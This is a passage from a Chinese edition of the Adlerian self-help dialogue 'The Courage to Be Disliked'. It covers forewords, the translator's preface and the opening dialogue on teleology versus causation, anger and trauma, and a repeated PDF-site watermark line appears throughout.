师和青年就恰到好处地相遇了,在一场关于人生问题的大讨论中,完成
了智慧的传承。
本书就是这样一个“禅师”和“青年”的故事。书中的“禅师”很了不
得,他是精修多年阿德勒心理学的“哲人”,知识渊博,阅历丰富,充满
了对人生的领悟和洞见。本书的“青年”其实也很了不得,虽然他内向、
敏感、自卑,可是你要知道,他的职业是图书管理员……
我从初中就知道阿德勒老师了。那时候我还是个懵懂少年,敏感自
卑如本书的主人公,觉得人生一片灰暗。有一天在书店偶遇阿德勒的名
著《超越自卑》,读后感觉中枪无数,觉得自己还能抢救一下,由此走
上了学习心理学的道路。可以说,阿德勒和他的《超越自卑》就是我那
段时间生命中的“禅师”。阿德勒的人生故事也很励志。他小时候个子
小、驼背,学习成绩也不好,矮穷丑占了两样,长辈经常拿他跟高富帅
哥哥相比,这让他自惭形秽。再加上他三岁时弟弟去世,自己两次被车
撞,五岁时得肺炎差点死去,人生也是颇多坎坷。好在他最终找到了独
特的人生意义,并成为了一名心理学的大家。可以说,他本人就是战胜
自卑、逆袭成功的人生典范。
阿德勒出生于1870年,算古人了,但他的思想非常现代,孕育了很
多现代心理咨询流派的思想种子:比如,认为“发生什么事不重要,我
们怎么看待这些事才重要”的认知流派;关注人的潜能和价值的人本主
义学派;以及把爱、胜任感和控制感作为人类基本动机的自我决定理论
(self determination theory)。而阿德勒最重要的思想主题,是对自我的
解放。
我经常遇到这样的来访者:心事重重,怨念颇深,觉得人生诸多不
幸,万事诸多无奈,经常会幻想换种活法。可一说到改变,他们就会长
叹一声:我又能怎么办呢?
生活给我们各种束缚,表面上看起来,这些束缚是时间的、金钱
see more please visit: https://homeofpdf.com
的、人际关系的,但实际上,这些束缚是心灵的。阿德勒的整个理论体
系,都在试图把人从这种束缚中解脱出来,让人重获心灵自由。
阿德勒想要帮我们挣脱的第一个束缚来自过去。从精神分析创始人
弗洛伊德开始,很多心理学家都相信人是过去、尤其是童年经历的产
物。这些经历变成了潜意识,决定着我们的人生。可本书中的阿德勒却
说,重要的不是过去,而是你怎么看待过去,而我们对过去的看法,是
可以改变的。在阿德勒的学说里,所谓的心理症状,并不是过去经历的
产物,而是为现在的“目的”服务。比如,和异性谈话会脸红,这是一种
典型的社交焦虑。但阿德勒说,探讨这个症状没什么意义,探讨这个症
状的功能——终于可以让你死宅到底了,却又很有意义。通过这样的理
论,阿德勒把自我从过去中解放出来。
第二个束缚来自人际关系。我们的很多心理困扰都来自社会和他人
的期待和评价。正是这种评价体系,造成了人的骄傲和自卑。而人们又
经常借“爱”之名,行支配和控制之实。在阿德勒眼中,理想的人际关系
大概是“我爱你,但与你无关”。他认为每个人的课题都是分离又独特
的。我怎么爱你,这是我的课题,而你要不要接受我的爱,这是你的课
题。每个人都守自己的本分,过自己的人生,人和人之间就没那么多纠
结和烦恼。
第三个束缚,来自未来。很多人目标远大,觉得只有当上CEO、迎
娶白富美、走上人生巅峰,人生才真的开始,现在的生活还不叫“人
生”,只能算是在通往人生的路上。当我们这么想的时候,我们就把现
在贬低成了实现未来的工具。但现在却是我们唯一真正经历和拥有的。
正如《禅与摩托车维修艺术》所说的,当你急着奔向未来的时候,说明
你己经不喜欢现在了。阿德勒的哲学同样强调当下的意义,认为这才是
生活的真谛。
阿德勒的心理学,就这样把自我从过去、人际关系和未来中解放出
来。可是越狱成功以后呢?以前我们裹足不前,可以怪父母怨社会,而
阿德勒却完全把人生责任和选择的权力交给了我们自己。当我们从这些
束缚中解脱出来后,却会发现,我们其实一直都很自由,真正让我们裹
足不前的,原来正是我们自己。正如本书的名字《被讨厌的勇气》,承
担这种自由和责任,需要无畏的勇气。这种勇气,是阿德勒心理学的关
键词,也是我们人生问题的最终解药。
知乎专栏作家 动机在杭州
see more please visit: https://homeofpdf.com
2015年2月17日
see more please visit: https://homeofpdf.com
推荐序三
人唯有在能够感觉自己有价值时,才有勇气
一直以来,我很反对心灵鸡汤类的文字和故事。从我对人和事物的
理解,我感觉心灵鸡汤的真理背后,存在着某些不合理的东西,甚至能
嗅到一些精神毒品的气味在里面,但无法清晰言说;那种反感在那里,
我亦无从用我熟知的心理学理论去解释它。
再仔细品读阿德勒《自卑与超越》等个体心理学的著作,几十年来
困惑自己的问题似乎又明晰不少,对自己的理解也更深一层;同时对心
灵鸡汤带给人们的可能伤害,也有了更清晰的认识。
在从事心理咨询工作的过程中,我发现总有很多人对自我价值的问
题产生误解,从而引发各种心理问题。
有一位来访者,是位要强的40岁职业女性,近几年来一直身处焦虑
和抑郁状态,并伴有很严重的失眠,还存有很强烈的强迫症状:从28岁
开始,她就有严重的洁癖。她的日常症状一是开始怀疑自己的丈夫可能
有外遇,总是要去翻查丈夫的信息;二是对孩子会有控制不住的怒火,
总想掌控孩子的一切;此外,对以往的闺蜜也甚少邀约,因她碍于自己
一直以来的“大姐大”身份,无法去和他人分享自己的感觉,怕被别人耻
笑。她感觉自己很孤独。
在生活中,她是一个对所有人都非常好的人,甚至能够把生活中所
有的事情都打理得有板有眼、井井有条。她是个“好人”,有强烈的同情
心,但也有“好人没好报”的抱怨。她会抱怨被人欺骗、被朋友利用,其
至在遭遇到情感背叛的时候,萌发了轻生的念头。
当讨论到自我价值的问题,她告诉我说:“我感觉自己一直不如别
人,我怕自己对别人没用。”去看看她的人际关系,似乎总是有着某种
纵向的规律:我要高于你,或者你高于我。没有一种关系体验是“我不
出众,但很平等”的合作式关系。所以,她感觉孤独。在关系中一旦失
去优越体验,她就会有“我没有价值”的感觉,就会有担心关系瞬间崩塌
的恐惧产生。
或许,如果这位女士能够在更早的时候阅读到这本书,便可以终结
see more please visit: https://homeofpdf.com
她用“牺牲自己,讨好他人”获得价值感的病态模式。而从自身去发现属
于自己的独特价值感,阻断“自卑情结”,体会到“共同体感觉”,从良好
的关系中发现自己的存在。
当然,也唯有在我们发现自己价值的时候,才具备了让自己真正自
主和自由的勇气。
这是一本关于我们自我发现和自我疗愈的工具书。我一口气读完,
发现自己已多年未有如此这般认真、孜孜不倦的感觉了。本书以哲人和
青年的对话形式,答出了三个哲学问题:“我是谁”“我从哪里来”以
及“我将去到哪里”。这本书,具备工具书的特质,在仔细阅读中,经常
会有“拍大腿”的感觉:太棒了,我原来是这样的!
它加深了我对人性的理解,同时帮助我发现了隐藏在记忆深处又一
直影响着我的“自皁”,让我抗拒改变的“借口”无所遁形。原来,我们一
直缺乏勇气让自己过得更好。
这本书绝对不是心灵鸡汤,而是稍带苦涩,但又可治病的良药。也
许阅读过程中你会被作者的“犀利”颠覆三观,心生不爽。但不爽过后,
抬头看窗外,满目清凉,世界会美好很多……
关系心理学家著名心理咨询师 胡慎之
2015年2月16日
see more please visit: https://homeofpdf.com
译者序
你是否常常对烦琐的生活感到乏味?你是否时时为复杂的人际关系
感到疲惫?你是否已经很久没有平心静气地与自己的心灵来一场对话
了?你是否感到自己的生活离幸福越来越远?你是否认为人生的意义越
来越模糊难见?……
是的,我们如何能够一直保持年轻的心态,令人生“只若初见”?我
们如何能够在繁杂的日常琐碎和复杂的人际关系中为自己的心灵留一片
蓝天?我们又是否能够用自己的双手去获得真正的幸福?这一切的答案
尽在这本书中!
阿尔弗雷德?阿德勒与弗洛伊德、荣格被并称为“心理学三大巨
头”。他是奥地利精神病学家,同时也堪称为思想家和哲学家。作为个
体心理学的创始人和人本主义心理学的先驱,阿德勒有“现代自我心理
学之父”之称。他在精神分析学派内部第一个反对弗洛伊德的心理学体
系,由生物学定向的本我转向社会文化定向的自我心理学。他强调人与
人之间的关系、竞争和完美的愿望,并认为每个人都具有一种奋力拼
搏、追求优越以适应环境,从而达到自我完善的能力。阿德勒学说
以“自卑感”与“创造性自我”为中心,并强调“社会意识”。
毫无疑问,在这个时代,阿德勒思想更能够给予人们奋发向上、完
善自我的“正能量”。本书采用青年与哲人“对话”的形式,用一个烦恼不
己的青年通过与哲人对话,了解了阿德勒思想之后整个人变得豁然开朗
这样一个故事,带我们一步步走进阿德勒心理学和阿德勒思想。正像阿
德勒那句“个体心理学是所有人的心理学”一样,本书将原本高深难懂的
心理学和哲学问题结合贴近生活的例子并用浅显易懂的语言娓娓道来,
令读者水到渠成地融入其中。同时,本书最大的特点是不仅分析了生活
中种种烦恼的根源,而且还一一给出了相应的对策。例如,针对“什么
是幸福”这个永久的哲学追问,本书在提出独到见解的同时还给出了“如
何获得幸福”的具体对策。又比如,就人际关系这个常常困扰着我们生
活的问题,本书在断言“一切烦恼皆源于人际关系”的同时,还给出
了“课题分离”这一具体解决办法。
本书还针对“自卑情结”“优越情结”和“幸福感”等问题提出了独到的
见解,指出“任何人都可以随时获得幸福”,并给出了“自我接纳”“他者
信赖”和“他者贡献”这三大良方。书中处处透出真知灼见,特别是关于
see more please visit: https://homeofpdf.com
幸福的论述,使我们深深相信:常常为诸事烦恼的现代人不是缺乏获得
幸福的能力,而是缺少获得幸福的勇气!
那么,让我们随“青年”和“哲人”慢慢走入阿德勒思想,走进自己真
正的内心,逐渐获得追求幸福的勇气吧!
聊城大学外国语学院 渠海霞
2014年12月12日
see more please visit: https://homeofpdf.com
引言
从前,在被誉为千年之都的古都郊外住着一位哲人,他主张:世界
极其简单,人们随时可以获得幸福。有一位青年无法接受这种观点,于
是他去拜访这位哲人一探究竟。在这位被诸多烦恼缠绕的青年眼里,世
界是矛盾丛生的一片混沌,根本无幸福可言。
青年:那么,我就重新向您发问了。先生主张世界极其简单,对
吧?
哲人:是的。世界简单得令人难以置信,人生也是一样。
青年:您这种主张是基于现实而并非仅仅是理想论吗?也就是说,
您认为横亘在你我人生中的种种问题也是简单的吗?
哲人:当然。
青年:好吧。在开始辩论之前,请允许我先说明一下此次造访的目
的。首先,我冒昧造访的首要缘故就是要和先生充分辩论,以见分晓;
其次,如果可能的话,我希望能让先生您收回自己的主张。
哲人:呵呵呵。
青年:久闻先生大名。据说此地住着一位与众不同的哲人,提倡不
容小觑的理想论——人可以改变、世界极其简单、人人能获得幸福。对
我来说,先生的这些论调我都无法接受。
所以,我想用自己的眼睛去确认,哪怕是微小的不当之处也要给您
纠正过来。不知是否打搅您了?
哲人:没有,欢迎之至。我自己也正期待着倾听像你这样的年轻人
的心声以丰富学问呢。
青年:非常感谢。其实我也并非是想要不分青红皂白地否定先生。
首先,假定先生的说法成立,我们从这种可能性开始思考。
世界是简单的,人生也是如此。假若这种命题中含有几分真理,那
也是对于孩子的世界而言。孩子的世界没有劳动或纳税之类的现实义
see more please visit: https://homeofpdf.com
务,他们每天都在父母或社会的呵护下自由自在地生活,未来充满无限
希望,自己也似乎无所不能。孩子们的眼睛被遮盖了,不必去面对丑恶
的现实。
的确,孩子眼中的世界呈现出简单的姿态。
但是,随着年龄的增长,世界便逐渐露出真面目。人们不得不接
受“我只不过如此”之类的现实,原以为等候在人生路上的一切“可能”都
会变成“不可能‘幸福的浪漫主义季节转瞬即逝,残酷的现实主义时代终
将到来。
哲人:你的话的确很有趣。
青年:还不仅如此。人一旦长大,就会被复杂的人际关系所困扰,
被诸多的责任所牵绊。工作、家庭或者社会责任,一切都是。当然,孩
提时代无法理解的歧视、战争或阶级之类的各种社会问题也会摆在你眼
前,不容忽视。这些都没错吧?
哲人:是啊。请你继续说下去。
青年:如果是在宗教盛行的时代,人们也还有救。那时,神的旨意
就是真理、就是世界、就是一切,只要遵从神的旨意,需要思考的课题
也就很少。但现在宗教失去了力量,人们对神的信仰也趋于形式化。没
有任何可以信赖的东西,人人都充满了不安和猜忌,大家都只为自己而
活,这就是所谓的现代社会。
那么,请先生冋答我。在这样的现实面前,您依然要说世界是简单
的吗?
哲人:我的答案依然不变。世界是简单的,人生也是简单的。
青年:为什么?世界是矛盾横生的一片混沌,这难道不是有目共睹
的吗?
哲人:那并非是”世界“本身复杂,完全是”你“把世界看得复杂。
青年:我吗?
哲人:人并不是住在客观的世界,而是住在自己营造的主观世界
see more please visit: https://homeofpdf.com
里。你所看到的世界不同于我所看到的世界,而且恐怕是不可能与任何
人共有的世界。
青年:那是怎么回事呢?先生和我不是都生活在同一个时代、同一
个国家、看着相同的事物吗?
哲人:是啊。看上去你很年轻,不知道有没有喝过刚汲上来的井
水。
青年:井水?啊,那是很久以前的事情了,位于乡下的祖母家有一
口井。炎炎夏日里在祖母家喝清凉的井水可是那时的一大乐趣啊!
哲人:或许你也知道,井水的温度是恒定的,长年在18度左右。这
是一个客观数字,无论谁测都一样。但是,夏天喝到的井水感觉凉爽,
而冬天饮用时就感觉温润。温度恒定在18度,但夏天和冬天饮用的感觉
却大不相同。
青年:这是环境变化造成的错觉。
哲人:不,这并不是错觉。对那时的”你“来说,井水的冷暖是不容
否定的事实。所谓住在主观的世界中就是这个道理。”如何看待“这一主
观就是全部,并且我们无法摆脱自己的主观。
现在,你眼中的世界呈现出复杂怪异的一片混沌。但是,如果你自
身发生了变化,世界就会恢复其简单姿态。因为,问题不在于世界如
何,而在于你自己怎样。
青年:在于我自己怎样?
哲人:是的。也许你是在透过墨镜看世界,这样看到的世界理所当
然就会变暗。如果真是如此,你需要做的是摘掉墨镜,而不是感叹世界
的黑暗。
摘掉墨镜之后看到的世界也许会太过耀眼,而使你禁不住闭上眼
睛。或许你又会想念墨镜。即便如此,你依然能够摘掉墨镜吗?你能正
视这个世界吗?你有这种”勇气“吗?问题就在这里。
青年:勇气?
see more please visit: https://homeofpdf.com
哲人:是的,这就是”勇气“的问题。
青年:哎呀,好啦!反驳的言辞我有很多,但这些好像应该暂且放
一放再说。我要确认一下,先生说”人可以改变“,对吧?您认为只要自
身发生变化,世界就会恢复其简单姿态,是这样吗?
哲人:当然,人可以改变。不仅如此,人还可以获得幸福。
青年:所有的人都不例外吗?
哲人:无一例外,而且是随时可以。
青年:哈哈哈,先生您口气可真大呀!这不是很有趣吗,先生?现
在我马上就要驳倒您!
哲人:我乐意迎战。那咱们就好好辩论一番吧。你的立场是”人无
法改变“,对吧?
青年:无法改变。目前,我自己就在为不能改变而苦恼。
哲人:但是,同时你自己又期待改变。
青年:那是当然。如果可以改变,如果人生可以重新来过,我甘愿
跪倒在先生面前。不过,也许先生会输给我。
哲人:好吧。这真是很有意思的事情。看着你,让我想起了学生时
代的自己。想起了年轻时为探求真理而去寻访哲人的血气方刚的自己。
青年:是的,就是那样。我也是正在探求真理,人生的真理。
哲人:之前我从未收过弟子,而且也一直都感觉没那种必要。但
是,自从成了希腊哲学信徒之后,特别是邂逅”另一种哲学“以来,我感
觉自己内心的某个角落一直在等待着像你这样年轻人的出现。
青年:另一种哲学?那是什么呀?
哲人:来,请去那边的书房。就要进入漫长的深夜了,给你准备一
杯咖啡什么的吧。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
第一夜 我们的不幸是谁的错?
一进入书房,青年便弓腰驼背地坐在屋里的一张椅子上。他为什么
会如此激烈地反对哲人的主张呢?原因已经不言而喻。青年自幼就缺乏
自信,他对自己的出身、学历甚至容貌都抱有强烈的自卑感。也许是因
为这样,他往往过于在意他人的目光;而且,他无法衷心地去祝福别人
的幸福,从而常常陷入自我嫌恶的痛苦境地。对青年而言,哲人的主张
只不过是乌托邦式的空想而已。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
不为人知的心理学”第三巨头“
青年:刚才您提到”另一种哲学“。但我听闻先生的专长好像是希腊
哲学吧?
哲人:是啊,从十几岁开始就一直和希腊哲学为伴。从苏格拉底到
柏拉图、亚里士多德等,知识巨人们一直都陪伴着我。现在我也在翻译
柏拉图的著作,对古希腊的探究也许终生都不会停止。
青年:那么,”另一种哲学“又是指什么呢?
哲人:它是由奥地利出身的精神科医生阿尔弗雷德?阿德勒于20世
纪初创立的全新心理学。我们现在一般根据创立者的名字而称其为”阿
德勒心理学'
青年:这倒是让我有些意外。希腊哲学的专家还研究心理学吗?
哲人:我不清楚其他的心理学是什么情况。但是,阿德勒心理学可
以说是与希腊哲学一脉相承的思想,是一门很深奥的学问。
青年:如果是弗洛伊德或荣格的心理学,我也多少有些心得体会。
的确是非常有趣的研究领域。
哲人:是的,弗洛伊德和荣格也非常有名。阿德勒原本是弗洛伊德
主持的维也纳精神分析协会的核心成员。但是,两人后来因观点对立而
导致关系破裂,于是阿德勒根据自己的理论开创了“个体心理学”。
青年:个体心理学?可真是一个奇怪的名字。总之,这个叫阿德勒
的人是弗洛伊德的弟子吧?
哲人:不,不是弟子。这一点常常被人误解,在这里必须对此作出
明确否定。阿德勒和弗洛伊德年龄相仿,是平等的研究者关系,这一点
完全不同于把弗洛伊德视若父亲一样仰慕的荣格。而且一提到心理学,
人们往往只想到弗洛伊德或荣格的名字,但在世界上,阿德勒是与弗洛
伊德、荣格并列的三大巨头之一。
青年:是啊。我这方面的知识的确还有所欠缺。
see more please visit: https://homeofpdf.com
哲人:你不知道阿德勒也很自然。阿德勒自己就曾说:“将来也许
没人会想起我的名字。甚至人们会忘记阿德勒派。”但是,他说即使如
此也没有关系。因为他认为阿德勒派本身被遗忘就意味着他的思想己经
由一门学问蜕变成了人们的共同感觉。
青年:也就是说,它是一门不单纯为了做学问的学问?
哲人:是的。例如,因全球畅销书《人性的弱点》和《美好的人
生》而闻名的戴尔?卡耐基也曾评价阿德勒为“终其一生研究人及人的
潜力的伟大心理学家”,而且其著作中也体现了很多阿德勒的思想。同
样,史蒂芬?柯维所著的《高效能人士的7个习惯》中的许多内容也与
阿德勒的思想非常相近。
也就是说,阿德勒心理学不是死板的学问,而是要理解人性的真理
和目标。但是,可以说领先时代100年的阿德勒思想非常超前。他的观
点具有极强的前瞻性。
青年:也就是说,不仅仅是希腊哲学,先生的主张也借鉴了阿德勒
心理学的观点?
哲人:正是如此。
青年:明白了。那我就要再问一下您的基本立场了,您究竟是哲学
家还是心理学家呢?
哲人:我是哲学家,是活在哲学中的人。对我来说,阿德勒心理学
是与希腊哲学一样的思想,是一种哲学。
青年:好的。那么,我们这就开始辩论吧。
see more please visit: https://homeofpdf.com
再怎么“找原因”,也没法改变一个人
青年:咱们先来梳理一下辩题。先生说“人可以改变”,而且人人都
可以获得幸福,对吧?
哲人:是的,无一例外。
青年:关于幸福的议题稍后再说,首先我要问问您“改变”一事。人
的确都期待改变,我是如此,随便问—个路人恐怕也会得到相同的答
案。但是,为什么人家都“期待改变”呢?答案只有一个,那就是因为人
家都无法改变。假若轻易就可以改变,那么人们就不会特意“期待改
变”了。
人即使想要改变也无法改变。正因为如此,才会不断有人被宣扬可
以改变人的新兴宗教或怪异的自我启发课程所蒙骗。难道不是这样吗?
哲人:那么,我要反过来问问你。为计么你会如此固执地主张人无
法改变呢?
青年:原因是这样的。我的朋友中有一位多年躲在自己的房间中闭
门不出的男子。他很希望到外面去,如果可以的话还想要像正常人一样
拥有份工作。他“很想改变”目前的自己。作为朋友我可以担保他是一位
非常认真并且对社会有用的男人。但是,他非常害怕到房间外面去。只
要踏出房间一步马上就会心悸不已、手脚发抖。这应该是一种神经症。
即使想要改变也无法改变。
哲人:你认为他无法走出去的原因是什么呢?
青年:详细情况我不太清楚。也许是因为与父母关系不和或者是由
于在学校或职场受到欺辱而留下了心灵创伤,抑或是因为太过娇生惯养
了吧。总之,我也不方便详细打听他的过去或者家庭状况。
哲人:总而言之,你朋友在“过去”有些心灵创伤或者其他的什么原
因。结果,他无法再到外面去。你是要说明这一点吗?
青年:那是当然。在结果之前肯定先有原因。我总觉得他有些奇
怪。
see more please visit: https://homeofpdf.com
哲人:那么,我们假设他无法走出去的原因是他小时候的家庭环
境。假设他在父母的虐待下长大,从未体会过人间真情,所以才会惧怕
与人交往,以致闭门不出。这种情况可能存在吧?
青年:很有可能。那应该就会造成极大的心灵创伤。
哲人:而且你说“一切结果之前都先有原因”。总之,你认为现在的
我(结果)是由过去的事情(原因)所决定。可以这样理解吧?
青年:当然。
哲人:假若如你所言,如果所有人的“现在”都由“过去”所决定,那
岂不是很奇怪吗?
同时,如果不是所有在父母虐待中长大的人都和你朋友一样闭门不
出,那么事情就讲不通了。所谓过去决定现在、原因支配结果应该就是
这样吧?
青年:您想说什么呢?
哲人:如果一味地关注过去的原因,企图仅仅靠原因去解释事物,
那就会陷入“决定论”。也就是说,最终会得出这样的结论:我们的现在
甚至末来全部都由过去的事情所决定,而且根本无法改变。是这样吧?
青年:那么,您是说与过去没有关系?
哲人:是的,这就的阿德勒心理学的立场。
青年:那么,对立点很快就明确了。但是,如果按照先生所言,我
的朋友岂不是成了毫无理由地闭门不出了?因为先生说与过去的事情没
有关系嘛。对不起,那是绝对不可能的事情。他之所以闭出不出肯定有
一定的原因。若非如此,那根本讲不通!
哲人:是的,那样的确讲不通。所以,阿德勒心理学考虑的不是过
去的“原因”,而是现在的“目的”。
青年:现在的目的?
哲人:你的朋友并不是闪为不安才无法走出去的。事情的顺序正好
see more please visit: https://homeofpdf.com
相反,我认为他是由于不想到外面去,所以才制造出不安情绪。
青年:啊?!
哲人:也就是说,你的朋友是先有了“不出去”这个目的,之后才会
为了达到这个目的而制造出不安或恐惧之类的情绪。阿德勒心理学把这
叫作“目的论”。
青年:您是在开玩笑吧!您说是他自己制造出不安或恐惧?那么,
先生也就是说我的朋友在装病吗?
哲人:不是装病。你朋友所感觉到的不安或恐惧是真实的,有时他
可能还会被剧烈的头痛所折磨或者被猛烈的腹痛所困扰。但是,这些症
状也是为了达到“不出去”这个目的而制造出来的。
青年:绝对不可能!这种论调太不可思议了!
哲人:不,这正是“原因论”和“目的论”的区别所在。你所说的全都
是根据原因论而来的。但是,如果我们一直依赖原因论,就会永远止步
不前。
see more please visit: https://homeofpdf.com
心理创伤并不存在
青年:既然您如此坚持,那就请您好好解释一下吧。“原因
论”和“目的论”的区别究竟在哪里呢?
哲人:假设你因感冒、发高烧而去看医生。如果医生只就引起感冒
的原因告诉你说“你之所以会感冒是因为昨天出门的时候穿得太薄”,你
对这样的话会满意吗?
青年:不可能满意啊!感冒原因是穿得薄也好、淋了雨也好,这都
无所谓。问题是现在正受着高烧的折磨这个事实,关键在于症状。如果
是医生的话,就应该好好开药或者打针,以一些专业性的处理来进行治
疗。
哲人:但是,立足于原因论的人们,例如一般的生活顾问或者精神
科医生,仅仅会指出“你之所以痛苦是因为过去的事情”,继而简单地安
慰“所以错不在你”。所谓的心理创伤学说就是原因论的典型。
青年:请稍等一下!也就是说,先生您否定心理创伤的存在,是这
样吗?
哲人:坚决否定。
青年:哎呀!先生您,不,应该说是阿德勒,他不也是心理学大师
吗?
哲人:阿德勒心理学明确否定心理创伤,这一点具有划时代的创新
意义。弗洛伊德的心理创伤学说的确很有趣。他认为心灵过去所受的伤
害(心理创伤)是引起目前不幸的罪魁祸首。当我们把人中看作一幕人
大型戏剧的时候,它那因果规律的简单逻辑和戏剧性的发展进程自然而
然地就会散发出摄人心魄的魅力。
但是,阿德勒在否定心理创伤学说的时候说了下面这段话:“任何
经历本身并不是成功或者失败的原因。我们并非因为自身经历中的刺激
——所谓的心理创伤——而痛苦,事实上我们会从经历中发现符合自己
目的的因素。决定我们自身的不是过去的经历,而是我们自己赋予经历
的意义。”
see more please visit: https://homeofpdf.com
青年:发现符合目的的因素?
哲人:正是如此。阿德勒说,决定我们自己的不是“经验本身”而
是“赋予经验的意义”。请你注意这一点。并不是说遭遇大的灾害或者幼
年受到虐待之类的事件对人格形成毫无影响。相反,影响会很大。但关
键是经历本身不会决定什么。我们给过去的经历“赋予了什么样的意
义”,这直接决定了我们的生活。人生不是由别人赋予的,而是由自己
选择的,是自己选择自己如何生活。
青年:那么,先生您难道认为我的朋友是自己乐意将自己关在房间
里的吗?难道您认为是他自己主动选择躲在房间里的吗?我敢认真地
说,不是他自己主动选择的,而是被迫选择的。他是不得不选择现在的
自己!
哲人:不对!假若你的朋友认为“自己是因为受到父母的虐待而无
法适应社会”,那说明他内心本来就有促使他那样认为的“目的”。
青年:什么目的?
哲人:最直接的目的就是“不山门”,为了不出门才制造出不安或恐
惧。
青年:问题是为什么不想出去呢?问题正在于此!
哲人:那么,请你站在父母的角度想一想。如果自己的孩子总是闷
在房间里,你会怎么想呢?
青年:那当然会担心啦。如何能让他回归社会?如何能令其振作精
神?自己的教育方式是否有误?一定会绞尽脑汁地思考诸如此类的问
题。同时,也一定会想方设法地帮助他回归社会。
哲人:问题就在这里。
青年:哪里?
哲人:如果闭门不出一直憋在自己房间里的话,父母会非常担心。
这就可以把父母的关注集于一身,而且还可以得到父母小心翼翼的照
顾。
see more please visit: https://homeofpdf.com
另一方面,哪怕踏出家门一步,都会沦为无人关注的“大多数”,都
会成为茫茫人海中非常平凡的一员,其至成为逊色于人的平庸之辈;而
且,没人会重视自己。这些都是闭居者常有的心理。
青年:那么,按照先生您的道理,我朋友岂不是为了“目的”达成而
满足现状了?
哲人:他心有不满,而且也并不幸福。但是,他的确是按照“目
的”而采取的行动。不仅仅是他,我们大家都是在为了某种“目的”而活
着。这就是目的论。
青年:不不不,我根本无法接受!说起来,我朋友是……
哲人:好啦,如果继续以你朋友为话题,讨论恐怕会无果而终,缺
席审判也并不合适。我们还是借助别的事例来思考吧。
青年:那么,这样的例子如何?正好是昨天我亲身经历的事情。
哲人:洗耳恭听。
see more please visit: https://homeofpdf.com
愤怒都是捏造出来的
青年:昨大下午我在咖啡店看书的时候,从我身边经过的服务员不
小心把咖啡洒到了我的衣服上。那可是我刚刚下狠心买的一件好衣服
啊。勃然大怒的我忍不住大发雷霆。平时的我从不在公共场合大声喧
哗,唯独昨天,我愤怒的声音几乎传遍了店里的每一个角落。我想那应
该是因为过于愤怒而忘记了自我吧。您看,在这种情况下,“目的”还能
讲得通吗?无论怎么想,这都是“原因”导致的行为吧?
哲人:也就是说,你受怒气支配而大发雷霆。平时性格非常温厚,
但在那时却无法抑制住怒火,那完全是一种自己也无可奈何的不可抗
力。你是这个意思吧?
青年:是的。因为事情实在太突然了。所以,不假思索地就先发火
了。
哲人:那么,我们来假设昨天的你恰巧拿着一把刀,一生气便向对
方刺了过去。在这种情况下,你还能辩解说“那是一种自己也无可奈何
的不可抗力”吗?
青年:您这种比喻也太极端了!
哲人:并不极端!按照你的道理推下去,所有盛怒之下的犯罪都可
以归咎于“怒气”,而并非是当事人的责任。你不是说人无法与感情抗衡
吗?
青年:那么,先生您打算如何解释我当时的愤怒呢?
哲人:这很简单。你并不是“受怒气支配而大发雷霆”,完全是“为
了大发雷霆而制造怒气”。也就是说,为了达到大发雷霆这个目的而制
造出来愤怒的感情。
青年:您在说什么呢?
哲人:你是先产生了要大发雷霆这个目的。也就是说,你想通过大
发雷霆来震慑犯错的服务员,进而使他认真听自己的话。作为相应手
段,你便捏造了愤怒这种感情。
see more please visit: https://homeofpdf.com
青年:捏造?您不是在开玩笑吧?!
哲人:那么,你为什么会大发雷霆呢?
青年:那是因为生气呀!
哲人:不对!即使你不大声呵斥而是讲道理的话,服务员也应该会
诚恳地向你道歉或者是用干净的抹布为你擦拭。总之,他应该也会采取
一些应有的措施,甚至还有可能为你洗衣服。而且,你心里多少也预料
了到他可能会那样做。
尽管如此,你还是大声呵斥了他。你感觉讲道理太麻烦,所以想用
更加快捷的方式使并不抵抗的对方屈服。作为相应的手段,你采用
了“愤怒”这种感情。
青年:不,不会上当的,我绝不会上当!您是说我是为了使对方屈
服而假装生气?我可以断言那种事情连想的时间都没有。我并不是思考
之后才发怒。愤怒完全是一种突发式的感情!
哲人:是的,愤怒的确是一瞬间的感情。有这样一个故事,说的是
有一天母亲和女儿在大声争吵。正在这时候,电话铃响了起来。“喂
喂?”慌忙拿起话筒的母亲的声音中依然带有一丝怒气。但是,打电话
的人是女儿学校的班主任。意识到这一点后,母亲的语气马上变得彬彬
有礼了。就这样,母亲用客客气气的语气交谈了大约5分钟之后挂了电
话,接着又勃然变色,开始训斥女儿。
青年:这是很平常的事情啊。
哲人:难道你还不明白吗?所谓愤怒其实只是可放可收的一种“手
段”而已。它既可以在接电话的瞬间巧妙地收起,也可以在挂断电话之
后再次释放出来。这位母亲并不是因为怒不可遏而大发雷霆,她只不过
是为了用高声震慑住女儿,进而使其听自己的话才采用了愤怒这种感
情。
青年:您是说愤怒是达成目的的一种手段?
哲人:所谓“目的论”就是如此。
青年:哎呀呀,先生您可真是带着温和面具的可怕的虚无主义者
see more please visit: https://homeofpdf.com
啊!无论是关于愤怒的话题,还是关于我那位闭门不出的朋友的话题,
您所有的见解都充满了对人性的不信任!
see more please visit: https://homeofpdf.com
弗洛伊德说错了
哲人:我的虚无主义表现在哪里呢?
青年:您可以试想一下。总而言之,先生您否定人类的感情。您认
为感情只不过是一种工具、是一种为了达成目的的手段而已。但是,这
样真的可以吗?否定感情也就意味着否定人性!我们正因为有感情、正
因为有喜怒哀乐才是人!假如否定了感情,人类将沦为并不完美的机
器。这不是虚无主义又是什么呢?!
哲人:我并不是否定感情的存在。任何人都有感情,这是理所当然
的事情。但是,如果你说“人是无法抵抗感情的存在”,那我就要坚决地
否定这种观点了。我们并不是在感情的支配下而采取各种行动。而且,
在“人不受感情支配”这个层面上,进而在“人不受过去支配”这个层面
上,阿德勒心理学正是一种与虚无主义截然相反的思想和哲学。
青年:不受感情支配,也不受过去支配?
哲人:假如某个人的过去曾遇到过父母离婚的变故,这就如同18度
的井水,是一种客观的事情吧?另一方面,对这件事情的冷暖感知
是“现在”的主观感觉。无论过去发生了什么样的事情,现在的状态取决
于你赋予既有事件的意义。
青年:您是说问题不在于“发生了什么”,而在于“如何诠释”?
哲人:正是如此。我们不可能乘坐时光机器回到过去,也不可能让
时针倒转。如果你成了原因论的信徒,那就会在过去的束缚之下永远无
法获得幸福。
青年:就是啊!正因为过去无法改变,生命才如此痛苦啊!
哲人:还不仅仅是痛苦。如果过去决定一切而过去又无法改变的
